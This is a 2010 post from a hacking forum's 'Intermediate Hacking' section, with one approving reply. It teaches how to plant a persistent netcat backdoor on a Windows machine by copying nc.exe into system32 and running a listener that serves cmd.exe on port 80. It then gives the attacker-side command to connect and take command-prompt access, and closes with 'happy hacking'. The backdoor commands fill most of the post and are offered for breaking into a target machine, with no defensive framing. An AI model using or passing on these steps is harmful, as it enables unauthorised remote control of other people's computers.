Welcome To Statua. Feel free to message any of our staff.
 
HomeFAQSearchRegisterLog in

Share | 
 

 Creating a backdoor, and connecting to it, with NetCat

View previous topic View next topic Go down 
AuthorMessage
-Chosen-
Moderator
Moderator
avatar

Posts : 16
Points : 27
Rep : 3
Join date : 2010-07-02
Location : 127.0.0.1

PostSubject: Creating a backdoor, and connecting to it, with NetCat   Sat Jul 03, 2010 10:18 pm


Background Info


Most of you are probably asking what is NetCat? To make it simple, NetCat/NC makes and accepts Transmission Control Protocol (TCP) and User Datagram Protocol (UDP) connections. Literally that's it lol


How to make a persistent backdoor with NetCat


This is the overview of what we are going to be doing. The fist thing we want to do is put nc.exe, which is the executable file, in system32. Then After that we are going to head to CMD and make a persistent listener.

1. Downlaod NC
http://www.downloadnetcat.com/

2. Place NC.exe in system32

3. Go to CMD and type this Command Line.

Code:
nc -v -L -p 80 -e cmd.exe

Let me explain the code, -v is verbose, -L is to make it Listen which is different from -l because if you would have put -l parameters instead of -L parameters, once you close the CMD window, the NC session will be closed as well. -p is the port you want to listen to. -e is the executable program you want to launch once the connection is established, in our case, command prompt.

Now you can close the window and still have NC listening on port 80. Now that you have backdoored the remote machine with it, its time to connect to it.

On the attacking machine, go to CMD and type this command line:

Code:
nc -v [IpOfTargetMachine] 80

Once you hit enter, you will have CMD access to the remote computer!

You'll have admin right if the user connected has them, happy hacking.

Till another time

-Chosen-
Back to top Go down
View user profile
mistermostwanted



Posts : 7
Points : 10
Rep : 3
Join date : 2010-07-03

PostSubject: Hey brother   Sun Jul 04, 2010 8:17 am

Hey bro Very Happy
Good tutorial.I m new to it.thnx for sharing.
Keep going. cheers
Back to top Go down
View user profile
 
Creating a backdoor, and connecting to it, with NetCat
View previous topic View next topic Back to top 
Page 1 of 1
 Similar topics
-
» Creating the account (URL) globally and using that variable where ever it needed
» [ANSWERED] Creating .iso File = very slow [latest Version]
» How to decide which framework is best for your project.
» Sample UI Element file for google site.
» How to create a test suite in Selenium?

Permissions in this forum:You cannot reply to topics in this forum
Statua :: Hacking :: Intermediate Hacking-
Jump to: